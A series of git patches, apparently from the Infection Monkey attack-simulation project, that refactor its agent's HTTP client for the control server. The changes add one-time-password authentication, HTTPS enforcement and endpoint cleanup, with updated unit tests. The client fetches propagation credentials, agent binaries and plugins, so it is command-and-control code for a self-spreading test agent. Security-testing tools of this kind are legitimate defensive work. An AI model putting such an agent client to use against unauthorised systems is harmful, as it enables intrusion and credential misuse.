response.json()["otp"] @ensure_client_connected @@ -103,7 +108,7 @@ def get_agent_plugin( self, operating_system: OperatingSystem, plugin_type: AgentPluginType, plugin_name: str ) -> AgentPlugin: response = self.http_client.get( - f"agent-plugins/{operating_system.value}/{plugin_type.value}/{plugin_name}" + f"/agent-plugins/{operating_system.value}/{plugin_type.value}/{plugin_name}" ) return AgentPlugin(**response.json()) @@ -113,21 +118,25 @@ def get_agent_plugin( def get_agent_plugin_manifest( self, plugin_type: AgentPluginType, plugin_name: str ) -> AgentPluginManifest: - response = self.http_client.get(f"agent-plugins/{plugin_type.value}/{plugin_name}/manifest") + response = self.http_client.get( + f"/agent-plugins/{plugin_type.value}/{plugin_name}/manifest" + ) return AgentPluginManifest(**response.json()) @ensure_client_connected @handle_response_parsing_errors def get_agent_signals(self, agent_id: str) -> AgentSignals: - response = self.http_client.get(f"agent-signals/{agent_id}", timeout=SHORT_REQUEST_TIMEOUT) + response = self.http_client.get(f"/agent-signals/{agent_id}", timeout=SHORT_REQUEST_TIMEOUT) return AgentSignals(**response.json()) @ensure_client_connected @handle_response_parsing_errors def get_agent_configuration_schema(self) -> Dict[str, Any]: - response = self.http_client.get("agent-configuration-schema", timeout=SHORT_REQUEST_TIMEOUT) + response = self.http_client.get( + "/agent-configuration-schema", timeout=SHORT_REQUEST_TIMEOUT + ) schema = response.json() return schema @@ -135,7 +144,7 @@ def get_agent_configuration_schema(self) -> Dict[str, Any]: @ensure_client_connected @handle_response_parsing_errors def get_config(self) -> AgentConfiguration: - response = self.http_client.get("agent-configuration", timeout=SHORT_REQUEST_TIMEOUT) + response = self.http_client.get("/agent-configuration", timeout=SHORT_REQUEST_TIMEOUT) config_dict = response.json() logger.debug(f"Received configuration:\n{pformat(config_dict, sort_dicts=False)}") @@ -145,21 +154,21 @@ def get_config(self) -> AgentConfiguration: @ensure_client_connected @handle_response_parsing_errors def get_credentials_for_propagation(self) -> Sequence[Credentials]: - response = self.http_client.get("propagation-credentials", timeout=SHORT_REQUEST_TIMEOUT) + response = self.http_client.get("/propagation-credentials", timeout=SHORT_REQUEST_TIMEOUT) return [Credentials(**credentials) for credentials in response.json()] @ensure_client_connected def register_agent(self, agent_registration_data: AgentRegistrationData): self.http_client.post( - "agents", + "/agents", agent_registration_data.dict(simplify=True), SHORT_REQUEST_TIMEOUT, ) @ensure_client_connected def send_events(self, events: Sequence[AbstractAgentEvent]): - self.http_client.post("agent-events", self._serialize_events(events)) + self.http_client.post("/agent-events", self._serialize_events(events)) def _serialize_events(self, events: Sequence[AbstractAgentEvent]) -> JSONSerializable: serialized_events: List[JSONSerializable] = [] @@ -176,15 +185,11 @@ def _serialize_events(self, events: Sequence[AbstractAgentEvent]) -> JSONSeriali @ensure_client_connected def send_heartbeat(self, agent_id: AgentID, timestamp: float): data = AgentHeartbeat(timestamp=timestamp).dict(simplify=True) - self.http_client.post(f"agent/{agent_id}/heartbeat", data) + self.http_client.post(f"/agent/{agent_id}/heartbeat", data) @ensure_client_connected def send_log(self, agent_id: AgentID, log_contents: str): self.http_client.put( - f"agent-logs/{agent_id}", + f"/agent-logs/{agent_id}", log_contents, ) - - -def _is_connected(client: Optional[HTTPClient]) -> TypeGuard[HTTPClient]: - return bool(client) diff --git a/monkey/infection_monkey/island_api_client/http_island_api_client_factory.py b/monkey/infection_monkey/island_api_client/http_island_api_client_factory.py index aa627fd0c94..83ef0118ca2 100644 --- a/monkey/infection_monkey/island_api_client/http_island_api_client_factory.py +++ b/monkey/infection_monkey/island_api_client/http_island_api_client_factory.py @@ -6,6 +6,7 @@ HTTPIslandAPIClient, IIslandAPIClient, ) +from .http_client import HTTPClient class HTTPIslandAPIClientFactory(AbstractIslandAPIClientFactory): @@ -15,5 +16,5 @@ def __init__(self, agent_event_serializer_registry: AgentEventSerializerRegistry def create_island_api_client(self) -> IIslandAPIClient: return ConfigurationValidatorDecorator( - HTTPIslandAPIClient(self._agent_event_serializer_registry, self._otp) + HTTPIslandAPIClient(self._agent_event_serializer_registry, HTTPClient(), self._otp) ) diff --git a/monkey/tests/data_for_tests/otp.py b/monkey/tests/data_for_tests/otp.py new file mode 100644 index 00000000000..3ce1289dc8d --- /dev/null +++ b/monkey/tests/data_for_tests/otp.py @@ -0,0 +1 @@ +OTP = "fake_otp" diff --git a/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_client.py b/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_client.py index 929e4478867..18b7d31e0ac 100644 --- a/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_client.py +++ b/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_client.py @@ -20,10 +20,10 @@ AGENT_ID = UUID("80988359-a1cd-42a2-9b47-5b94b37cd673") ISLAND_URI = f"https://{SERVER}/api?action=is-up" -LOG_ENDPOINT = f"agent-logs/{AGENT_ID}" -ISLAND_SEND_LOG_URI = f"https://{SERVER}/api/{LOG_ENDPOINT}" -PROPAGATION_CREDENTIALS_ENDPOINT = "propagation-credentials" -ISLAND_GET_PROPAGATION_CREDENTIALS_URI = f"https://{SERVER}/api/{PROPAGATION_CREDENTIALS_ENDPOINT}" +LOG_ENDPOINT = f"/agent-logs/{AGENT_ID}" +ISLAND_SEND_LOG_URI = f"https://{SERVER}/api{LOG_ENDPOINT}" +PROPAGATION_CREDENTIALS_ENDPOINT = "/propagation-credentials" +ISLAND_GET_PROPAGATION_CREDENTIALS_URI = f"https://{SERVER}/api{PROPAGATION_CREDENTIALS_ENDPOINT}" @pytest.fixture @@ -35,8 +35,8 @@ def request_mock_instance(): @pytest.fixture def connected_client(request_mock_instance): http_client = HTTPClient() + http_client.server_url = f"{SERVER}/api" request_mock_instance.get(ISLAND_URI) - http_client.connect(SERVER) return http_client @@ -93,7 +93,7 @@ def test_http_client__unconnected(): def test_http_client__retries(monkeypatch): http_client = HTTPClient() # skip the connect method - http_client._api_url = f"https://{SERVER}/api" + http_client._server_url = f"https://{SERVER}/api" mock_send = MagicMock(side_effect=ConnectTimeoutError) # requests_mock can't be used for this, because it mocks higher level than we are testing monkeypatch.setattr("urllib3.connectionpool.HTTPSConnectionPool._validate_conn", mock_send) diff --git a/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py b/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py index e06755b70f7..27ef11337c0 100644 --- a/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py +++ b/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py @@ -6,6 +6,7 @@ import pytest import requests from tests.common.example_agent_configuration import AGENT_CONFIGURATION +from tests.data_for_tests.otp import OTP from tests.data_for_tests.propagation_credentials import CREDENTIALS_DICTS from tests.unit_tests.common.agent_plugins.test_agent_plugin_manifest import ( FAKE_AGENT_MANIFEST_DICT, @@ -82,7 +83,7 @@ def agent_event_serializer_registry(): def build_api_client(http_client): - return HTTPIslandAPIClient(agent_event_serializer_registry(), http_client) + return HTTPIslandAPIClient(agent_event_serializer_registry(), http_client, OTP) def _build_client_with_json_response(response): @@ -101,7 +102,7 @@ def test_island_api_client__get_agent_binary(): api_client = build_api_client(http_client_stub) assert api_client.get_agent_binary(os) == fake_binary - assert http_client_stub.get.called_with("agent-binaries/linux") + assert http_client_stub.get.called_with("/agent-binaries/linux") def test_island_api_client_send_events__serialization(): @@ -132,7 +133,7 @@ def test_island_api_client_send_events__serialization(): api_client.send_events(events=events_to_send) - assert client_spy.post.call_args[0] == ("agent-events", expected_json) + assert client_spy.post.call_args[0] == ("/agent-events", expected_json) def test_island_api_client_send_events__serialization_failed(): diff --git a/monkey/tests/unit_tests/infection_monkey/network/relay/test_utils.py b/monkey/tests/unit_tests/infection_monkey/network/relay/test_utils.py index 6a7aba04d7e..675a0ad6620 100644 --- a/monkey/tests/unit_tests/infection_monkey/network/relay/test_utils.py +++ b/monkey/tests/unit_tests/infection_monkey/network/relay/test_utils.py @@ -1,5 +1,6 @@ import pytest import requests_mock +from tests.data_for_tests.otp import OTP from common.agent_event_serializers import AgentEventSerializerRegistry from common.types import SocketAddress @@ -21,7 +22,7 @@ @pytest.fixture def island_api_client_factory(): - return HTTPIslandAPIClientFactory(AgentEventSerializerRegistry()) + return HTTPIslandAPIClientFactory(AgentEventSerializerRegistry(), OTP) @pytest.mark.parametrize( @@ -41,6 +42,7 @@ def test_find_available_island_apis( with requests_mock.Mocker() as mock: for server, response in server_response_pairs: mock.get(f"https://{server}/api?action=is-up", **response) + mock.post(f"https://{server}/api/agent-otp-login", json={"token": "fake-token"}) available_apis = find_available_island_apis(servers, island_api_client_factory) @@ -57,7 +59,9 @@ def test_find_available_island_apis__multiple_successes(island_api_client_factor available_servers = [SERVER_2, SERVER_3] with requests_mock.Mocker() as mock: mock.get(f"https://{SERVER_1}/api?action=is-up", exc=IslandAPIConnectionError) + mock.post(f"https://{SERVER_1}/api/agent-otp-login", json={"token": "fake-token"}) for server in available_servers: + mock.post(f"https://{server}/api/agent-otp-login", json={"token": "fake-token"}) mock.get(f"https://{server}/api?action=is-up", text="") available_apis = find_available_island_apis(servers, island_api_client_factory) From 7f6550e6927d86294eed00990cc70c51854f19af Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 16 Mar 2023 10:36:37 +0200 Subject: [PATCH 0625/1338] Agent: Improve http client to handle missing and present "/" HTTP client will no longer fail if both the endpoint and server url ends with a "/" --- monkey/infection_monkey/island_api_client/http_client.py | 2 +- .../island_api_client/http_island_api_client.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/island_api_client/http_client.py b/monkey/infection_monkey/island_api_client/http_client.py index c1b36905ec9..a2a45bade8e 100644 --- a/monkey/infection_monkey/island_api_client/http_client.py +++ b/monkey/infection_monkey/island_api_client/http_client.py @@ -127,7 +127,7 @@ def _send_request( ) -> requests.Response: if self._server_url is None: raise RuntimeError("HTTP client does not have a server URL set") - url = f"{self._server_url}{endpoint}".strip("/") + url = f"{self._server_url.strip('/')}/{endpoint.strip('/')}".strip("/") logger.debug(f"{request_type.name} {url}, timeout={timeout}") method = getattr(self._session, str.lower(request_type.name)) diff --git a/monkey/infection_monkey/island_api_client/http_island_api_client.py b/monkey/infection_monkey/island_api_client/http_island_api_client.py index 745147f5fa5..047c8718ff2 100644 --- a/monkey/infection_monkey/island_api_client/http_island_api_client.py +++ b/monkey/infection_monkey/island_api_client/http_island_api_client.py @@ -72,8 +72,8 @@ def connect( island_server: SocketAddress, ): try: - self.http_client.server_url = f"{island_server}/api" - self.http_client.get("?action=is-up") + self.http_client.server_url = f"{island_server}/api/" + self.http_client.get("", params={"action": "is-up"}) except Exception as err: logger.debug(f"Connection to {island_server} failed: {err}") self.http_client.server_url = None From 4b13067cf7d1c12cfd1c9720237085e13c509941 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 16 Mar 2023 10:43:36 +0200 Subject: [PATCH 0626/1338] Agent: Improve authentication failure logging --- .../island_api_client/http_island_api_client.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/island_api_client/http_island_api_client.py b/monkey/infection_monkey/island_api_client/http_island_api_client.py index 047c8718ff2..2ebef826a0b 100644 --- a/monkey/infection_monkey/island_api_client/http_island_api_client.py +++ b/monkey/infection_monkey/island_api_client/http_island_api_client.py @@ -82,7 +82,7 @@ def connect( try: auth_token = self._get_authentication_token() except Exception as err: - logger.debug("Authentication failed") + logger.error("Agent authentication failed") raise err self.http_client.additional_headers = {"Authentication-Token": auth_token} From 8ebb05fbe9c82dd66fd0a6d8118752820d97c4fa Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 16 Mar 2023 11:07:10 +0200 Subject: [PATCH 0627/1338] Agent: Remove "ensure_client_connected" decorator If the client is not connected the HTTPClient will throw an error and that should be enough --- .../http_island_api_client.py | 26 +------------------ .../island_api_client_errors.py | 6 ----- 2 files changed, 1 insertion(+), 31 deletions(-) diff --git a/monkey/infection_monkey/island_api_client/http_island_api_client.py b/monkey/infection_monkey/island_api_client/http_island_api_client.py index 2ebef826a0b..ad718446da4 100644 --- a/monkey/infection_monkey/island_api_client/http_island_api_client.py +++ b/monkey/infection_monkey/island_api_client/http_island_api_client.py @@ -17,7 +17,7 @@ from . import IIslandAPIClient, IslandAPIRequestError from .http_client import HTTPClient -from .island_api_client_errors import IslandAPIResponseParsingError, UnconnectedClientError +from .island_api_client_errors import IslandAPIResponseParsingError logger = logging.getLogger(__name__) @@ -39,19 +39,6 @@ def wrapper(*args, **kwargs): return wrapper -def ensure_client_connected(fn): - @functools.wraps(fn) - def wrapper(self, *args, **kwargs): - if self.http_client is not None: - return fn(self, *args, **kwargs) - else: - raise UnconnectedClientError( - f"The client can't {fn.__name__}" f" because it's not connected to any server." - ) - - return wrapper - - class HTTPIslandAPIClient(IIslandAPIClient): """ A client for the Island's HTTP API @@ -91,7 +78,6 @@ def _get_authentication_token(self) -> str: response = self.http_client.post("/agent-otp-login", {"otp": self._otp}) return response.json()["token"] - @ensure_client_connected def get_agent_binary(self, operating_system: OperatingSystem) -> bytes: os_name = operating_system.value response = self.http_client.get(f"/agent-binaries/{os_name}") @@ -102,7 +88,6 @@ def get_otp(self) -> str: response = self.http_client.get("/agent-otp") return response.json()["otp"] - @ensure_client_connected @handle_response_parsing_errors def get_agent_plugin( self, operating_system: OperatingSystem, plugin_type: AgentPluginType, plugin_name: str @@ -113,7 +98,6 @@ def get_agent_plugin( return AgentPlugin(**response.json()) - @ensure_client_connected @handle_response_parsing_errors def get_agent_plugin_manifest( self, plugin_type: AgentPluginType, plugin_name: str @@ -124,14 +108,12 @@ def get_agent_plugin_manifest( return AgentPluginManifest(**response.json()) - @ensure_client_connected @handle_response_parsing_errors def get_agent_signals(self, agent_id: str) -> AgentSignals: response = self.http_client.get(f"/agent-signals/{agent_id}", timeout=SHORT_REQUEST_TIMEOUT) return AgentSignals(**response.json()) - @ensure_client_connected @handle_response_parsing_errors def get_agent_configuration_schema(self) -> Dict[str, Any]: response = self.http_client.get( @@ -141,7 +123,6 @@ def get_agent_configuration_schema(self) -> Dict[str, Any]: return schema - @ensure_client_connected @handle_response_parsing_errors def get_config(self) -> AgentConfiguration: response = self.http_client.get("/agent-configuration", timeout=SHORT_REQUEST_TIMEOUT) @@ -151,14 +132,12 @@ def get_config(self) -> AgentConfiguration: return AgentConfiguration(**config_dict) - @ensure_client_connected @handle_response_parsing_errors def get_credentials_for_propagation(self) -> Sequence[Credentials]: response = self.http_client.get("/propagation-credentials", timeout=SHORT_REQUEST_TIMEOUT) return [Credentials(**credentials) for credentials in response.json()] - @ensure_client_connected def register_agent(self, agent_registration_data: AgentRegistrationData): self.http_client.post( "/agents", @@ -166,7 +145,6 @@ def register_agent(self, agent_registration_data: AgentRegistrationData): SHORT_REQUEST_TIMEOUT, ) - @ensure_client_connected def send_events(self, events: Sequence[AbstractAgentEvent]): self.http_client.post("/agent-events", self._serialize_events(events)) @@ -182,12 +160,10 @@ def _serialize_events(self, events: Sequence[AbstractAgentEvent]) -> JSONSeriali return serialized_events - @ensure_client_connected def send_heartbeat(self, agent_id: AgentID, timestamp: float): data = AgentHeartbeat(timestamp=timestamp).dict(simplify=True) self.http_client.post(f"/agent/{agent_id}/heartbeat", data) - @ensure_client_connected def send_log(self, agent_id: AgentID, log_contents: str): self.http_client.put( f"/agent-logs/{agent_id}", diff --git a/monkey/infection_monkey/island_api_client/island_api_client_errors.py b/monkey/infection_monkey/island_api_client/island_api_client_errors.py index 45683a73636..9556d53800d 100644 --- a/monkey/infection_monkey/island_api_client/island_api_client_errors.py +++ b/monkey/infection_monkey/island_api_client/island_api_client_errors.py @@ -6,12 +6,6 @@ class IslandAPIError(Exception): pass -class UnconnectedClientError(IslandAPIError): - """ - Raise if the client is used before it got connected - """ - - class IslandAPITimeoutError(IslandAPIError): """ Raised when the API request hits a timeout From f3afc6bd0e8fc0e723cbae5d85a79f9f274f6e87 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 16 Mar 2023 11:35:15 +0200 Subject: [PATCH 0628/1338] Agent: Extract token header key to a const --- .../island_api_client/http_island_api_client.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/island_api_client/http_island_api_client.py b/monkey/infection_monkey/island_api_client/http_island_api_client.py index ad718446da4..c83e812fbbb 100644 --- a/monkey/infection_monkey/island_api_client/http_island_api_client.py +++ b/monkey/infection_monkey/island_api_client/http_island_api_client.py @@ -44,6 +44,8 @@ class HTTPIslandAPIClient(IIslandAPIClient): A client for the Island's HTTP API """ + TOKEN_HEADER_KEY = "Authentication-Token" + def __init__( self, agent_event_serializer_registry: AgentEventSerializerRegistry, @@ -72,7 +74,7 @@ def connect( logger.error("Agent authentication failed") raise err - self.http_client.additional_headers = {"Authentication-Token": auth_token} + self.http_client.additional_headers = {HTTPIslandAPIClient.TOKEN_HEADER_KEY: auth_token} def _get_authentication_token(self) -> str: response = self.http_client.post("/agent-otp-login", {"otp": self._otp}) From 06bd53ee85983907ec2b052182b366b8c8c21940 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 16 Mar 2023 11:39:08 +0200 Subject: [PATCH 0629/1338] UT: Test connect method of HTTPIslandAPIClient --- .../test_http_island_api_client.py | 38 +++++++++++++++++++ 1 file changed, 38 insertions(+) diff --git a/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py b/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py index 27ef11337c0..3c258f51489 100644 --- a/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py +++ b/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py @@ -92,6 +92,44 @@ def _build_client_with_json_response(response): return build_api_client(client_stub) +def test_connect__connection_error(): + http_client_stub = MagicMock() + http_client_stub.get = MagicMock(side_effect=RuntimeError) + + api_client = build_api_client(http_client_stub) + + with pytest.raises(RuntimeError): + api_client.connect(SERVER) + assert api_client.http_client.server_url is None + + +def test_connect__authentication_error(): + http_client_stub = MagicMock() + http_client_stub.get = MagicMock() + http_client_stub.post = MagicMock(side_effect=RuntimeError) + api_client = build_api_client(http_client_stub) + with pytest.raises(RuntimeError): + api_client.connect(SERVER) + assert api_client.http_client.server_url is not None + + +def test_connect(): + fake_auth_token = "fake_auth_token" + http_client_stub = MagicMock() + http_client_stub.get = MagicMock() + http_client_stub.post = MagicMock() + http_client_stub.post.return_value.json.return_value = {"token": fake_auth_token} + api_client = build_api_client(http_client_stub) + + api_client.connect(SERVER) + + assert api_client.http_client.server_url is not None + assert ( + api_client.http_client.additional_headers[HTTPIslandAPIClient.TOKEN_HEADER_KEY] + == fake_auth_token + ) + + def test_island_api_client__get_agent_binary(): fake_binary = b"agent-binary" os = OperatingSystem.LINUX From 5e3fd3cd79fd2bc197cb0358223d73642b17f119 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 16 Mar 2023 11:49:27 +0200 Subject: [PATCH 0630/1338] Agent: Add typehint for additional headers in HTTPClient --- monkey/infection_monkey/island_api_client/http_client.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/island_api_client/http_client.py b/monkey/infection_monkey/island_api_client/http_client.py index a2a45bade8e..c677ac3224a 100644 --- a/monkey/infection_monkey/island_api_client/http_client.py +++ b/monkey/infection_monkey/island_api_client/http_client.py @@ -60,7 +60,7 @@ def __init__(self, retries=RETRIES): retry_config = Retry(retries) self._session.mount("https://", HTTPAdapter(max_retries=retry_config)) self._server_url: Optional[str] = None - self._additional_headers = None + self._additional_headers: Optional[Dict[str, Any]] = None @property def server_url(self): From 96910e88e1ab97f18f32867ee93a164d07471089 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 16 Mar 2023 12:00:51 +0200 Subject: [PATCH 0631/1338] Agent: Make http_client a private property --- .../http_island_api_client.py | 38 ++++++++++--------- .../test_http_island_api_client.py | 8 ++-- 2 files changed, 24 insertions(+), 22 deletions(-) diff --git a/monkey/infection_monkey/island_api_client/http_island_api_client.py b/monkey/infection_monkey/island_api_client/http_island_api_client.py index c83e812fbbb..05292a495d7 100644 --- a/monkey/infection_monkey/island_api_client/http_island_api_client.py +++ b/monkey/infection_monkey/island_api_client/http_island_api_client.py @@ -53,7 +53,7 @@ def __init__( otp: str, ): self._agent_event_serializer_registry = agent_event_serializer_registry - self.http_client = http_client + self._http_client = http_client self._otp = otp def connect( @@ -61,11 +61,11 @@ def connect( island_server: SocketAddress, ): try: - self.http_client.server_url = f"{island_server}/api/" - self.http_client.get("", params={"action": "is-up"}) + self._http_client.server_url = f"{island_server}/api/" + self._http_client.get("", params={"action": "is-up"}) except Exception as err: logger.debug(f"Connection to {island_server} failed: {err}") - self.http_client.server_url = None + self._http_client.server_url = None raise err try: @@ -74,27 +74,27 @@ def connect( logger.error("Agent authentication failed") raise err - self.http_client.additional_headers = {HTTPIslandAPIClient.TOKEN_HEADER_KEY: auth_token} + self._http_client.additional_headers = {HTTPIslandAPIClient.TOKEN_HEADER_KEY: auth_token} def _get_authentication_token(self) -> str: - response = self.http_client.post("/agent-otp-login", {"otp": self._otp}) + response = self._http_client.post("/agent-otp-login", {"otp": self._otp}) return response.json()["token"] def get_agent_binary(self, operating_system: OperatingSystem) -> bytes: os_name = operating_system.value - response = self.http_client.get(f"/agent-binaries/{os_name}") + response = self._http_client.get(f"/agent-binaries/{os_name}") return response.content @handle_response_parsing_errors def get_otp(self) -> str: - response = self.http_client.get("/agent-otp") + response = self._http_client.get("/agent-otp") return response.json()["otp"] @handle_response_parsing_errors def get_agent_plugin( self, operating_system: OperatingSystem, plugin_type: AgentPluginType, plugin_name: str ) -> AgentPlugin: - response = self.http_client.get( + response = self._http_client.get( f"/agent-plugins/{operating_system.value}/{plugin_type.value}/{plugin_name}" ) @@ -104,7 +104,7 @@ def get_agent_plugin( def get_agent_plugin_manifest( self, plugin_type: AgentPluginType, plugin_name: str ) -> AgentPluginManifest: - response = self.http_client.get( + response = self._http_client.get( f"/agent-plugins/{plugin_type.value}/{plugin_name}/manifest" ) @@ -112,13 +112,15 @@ def get_agent_plugin_manifest( @handle_response_parsing_errors def get_agent_signals(self, agent_id: str) -> AgentSignals: - response = self.http_client.get(f"/agent-signals/{agent_id}", timeout=SHORT_REQUEST_TIMEOUT) + response = self._http_client.get( + f"/agent-signals/{agent_id}", timeout=SHORT_REQUEST_TIMEOUT + ) return AgentSignals(**response.json()) @handle_response_parsing_errors def get_agent_configuration_schema(self) -> Dict[str, Any]: - response = self.http_client.get( + response = self._http_client.get( "/agent-configuration-schema", timeout=SHORT_REQUEST_TIMEOUT ) schema = response.json() @@ -127,7 +129,7 @@ def get_agent_configuration_schema(self) -> Dict[str, Any]: @handle_response_parsing_errors def get_config(self) -> AgentConfiguration: - response = self.http_client.get("/agent-configuration", timeout=SHORT_REQUEST_TIMEOUT) + response = self._http_client.get("/agent-configuration", timeout=SHORT_REQUEST_TIMEOUT) config_dict = response.json() logger.debug(f"Received configuration:\n{pformat(config_dict, sort_dicts=False)}") @@ -136,19 +138,19 @@ def get_config(self) -> AgentConfiguration: @handle_response_parsing_errors def get_credentials_for_propagation(self) -> Sequence[Credentials]: - response = self.http_client.get("/propagation-credentials", timeout=SHORT_REQUEST_TIMEOUT) + response = self._http_client.get("/propagation-credentials", timeout=SHORT_REQUEST_TIMEOUT) return [Credentials(**credentials) for credentials in response.json()] def register_agent(self, agent_registration_data: AgentRegistrationData): - self.http_client.post( + self._http_client.post( "/agents", agent_registration_data.dict(simplify=True), SHORT_REQUEST_TIMEOUT, ) def send_events(self, events: Sequence[AbstractAgentEvent]): - self.http_client.post("/agent-events", self._serialize_events(events)) + self._http_client.post("/agent-events", self._serialize_events(events)) def _serialize_events(self, events: Sequence[AbstractAgentEvent]) -> JSONSerializable: serialized_events: List[JSONSerializable] = [] @@ -164,10 +166,10 @@ def _serialize_events(self, events: Sequence[AbstractAgentEvent]) -> JSONSeriali def send_heartbeat(self, agent_id: AgentID, timestamp: float): data = AgentHeartbeat(timestamp=timestamp).dict(simplify=True) - self.http_client.post(f"/agent/{agent_id}/heartbeat", data) + self._http_client.post(f"/agent/{agent_id}/heartbeat", data) def send_log(self, agent_id: AgentID, log_contents: str): - self.http_client.put( + self._http_client.put( f"/agent-logs/{agent_id}", log_contents, ) diff --git a/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py b/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py index 3c258f51489..1274b50f169 100644 --- a/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py +++ b/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py @@ -100,7 +100,7 @@ def test_connect__connection_error(): with pytest.raises(RuntimeError): api_client.connect(SERVER) - assert api_client.http_client.server_url is None + assert api_client._http_client.server_url is None def test_connect__authentication_error(): @@ -110,7 +110,7 @@ def test_connect__authentication_error(): api_client = build_api_client(http_client_stub) with pytest.raises(RuntimeError): api_client.connect(SERVER) - assert api_client.http_client.server_url is not None + assert api_client._http_client.server_url is not None def test_connect(): @@ -123,9 +123,9 @@ def test_connect(): api_client.connect(SERVER) - assert api_client.http_client.server_url is not None + assert api_client._http_client.server_url is not None assert ( - api_client.http_client.additional_headers[HTTPIslandAPIClient.TOKEN_HEADER_KEY] + api_client._http_client.additional_headers[HTTPIslandAPIClient.TOKEN_HEADER_KEY] == fake_auth_token ) From 40b28b3ff9cf32be66423fbf3b6f0292922eb113 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 16 Mar 2023 15:28:37 +0200 Subject: [PATCH 0632/1338] Agent: Default to empty string for HTTPClient endpoint Empty string means HTTPClient will query the api of the server with no addition to the URL --- monkey/infection_monkey/island_api_client/http_client.py | 6 +++--- .../island_api_client/http_island_api_client.py | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/island_api_client/http_client.py b/monkey/infection_monkey/island_api_client/http_client.py index c677ac3224a..b1ec5c27ab0 100644 --- a/monkey/infection_monkey/island_api_client/http_client.py +++ b/monkey/infection_monkey/island_api_client/http_client.py @@ -82,7 +82,7 @@ def additional_headers(self, headers: Dict[str, Any]): def get( self, - endpoint: str, + endpoint: str = "", params: Optional[Dict[str, Any]] = None, timeout=MEDIUM_REQUEST_TIMEOUT, *args, @@ -94,7 +94,7 @@ def get( def post( self, - endpoint: str, + endpoint: str = "", data: Optional[JSONSerializable] = None, timeout=MEDIUM_REQUEST_TIMEOUT, *args, @@ -106,7 +106,7 @@ def post( def put( self, - endpoint: str, + endpoint: str = "", data: Optional[JSONSerializable] = None, timeout=MEDIUM_REQUEST_TIMEOUT, *args, diff --git a/monkey/infection_monkey/island_api_client/http_island_api_client.py b/monkey/infection_monkey/island_api_client/http_island_api_client.py index 05292a495d7..cce8c0b9158 100644 --- a/monkey/infection_monkey/island_api_client/http_island_api_client.py +++ b/monkey/infection_monkey/island_api_client/http_island_api_client.py @@ -62,7 +62,7 @@ def connect( ): try: self._http_client.server_url = f"{island_server}/api/" - self._http_client.get("", params={"action": "is-up"}) + self._http_client.get(params={"action": "is-up"}) except Exception as err: logger.debug(f"Connection to {island_server} failed: {err}") self._http_client.server_url = None From 4d2dbb15df1b1510b5f40d2d8b70db499b53a6a2 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 16 Mar 2023 15:36:36 +0200 Subject: [PATCH 0633/1338] UT: Remove unnecessary mock request in utils test --- .../unit_tests/infection_monkey/network/relay/test_utils.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/tests/unit_tests/infection_monkey/network/relay/test_utils.py b/monkey/tests/unit_tests/infection_monkey/network/relay/test_utils.py index 675a0ad6620..e01871b2227 100644 --- a/monkey/tests/unit_tests/infection_monkey/network/relay/test_utils.py +++ b/monkey/tests/unit_tests/infection_monkey/network/relay/test_utils.py @@ -59,7 +59,6 @@ def test_find_available_island_apis__multiple_successes(island_api_client_factor available_servers = [SERVER_2, SERVER_3] with requests_mock.Mocker() as mock: mock.get(f"https://{SERVER_1}/api?action=is-up", exc=IslandAPIConnectionError) - mock.post(f"https://{SERVER_1}/api/agent-otp-login", json={"token": "fake-token"}) for server in available_servers: mock.post(f"https://{server}/api/agent-otp-login", json={"token": "fake-token"}) mock.get(f"https://{server}/api?action=is-up", text="") From 4d8e1822928e1ff95492e6294a5c9022b490d324 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 16 Mar 2023 15:53:25 +0200 Subject: [PATCH 0634/1338] Agent: Simplify HTTP server setting procedure --- monkey/infection_monkey/island_api_client/http_client.py | 9 +++++---- .../island_api_client/http_island_api_client.py | 2 +- .../island_api_client/test_http_client.py | 7 +++++++ 3 files changed, 13 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/island_api_client/http_client.py b/monkey/infection_monkey/island_api_client/http_client.py index b1ec5c27ab0..c12f5d52d77 100644 --- a/monkey/infection_monkey/island_api_client/http_client.py +++ b/monkey/infection_monkey/island_api_client/http_client.py @@ -67,10 +67,11 @@ def server_url(self): return self._server_url @server_url.setter - def server_url(self, endpoint: Optional[str]): - if endpoint: - endpoint = f"https://{endpoint}" - self._server_url = endpoint + def server_url(self, server_url: Optional[str]): + if server_url: + if not server_url.startswith("https://"): + raise RuntimeError("Only HTTPS protocol is supported by HTTPClient") + self._server_url = server_url @property def additional_headers(self): diff --git a/monkey/infection_monkey/island_api_client/http_island_api_client.py b/monkey/infection_monkey/island_api_client/http_island_api_client.py index cce8c0b9158..9a41af45ccd 100644 --- 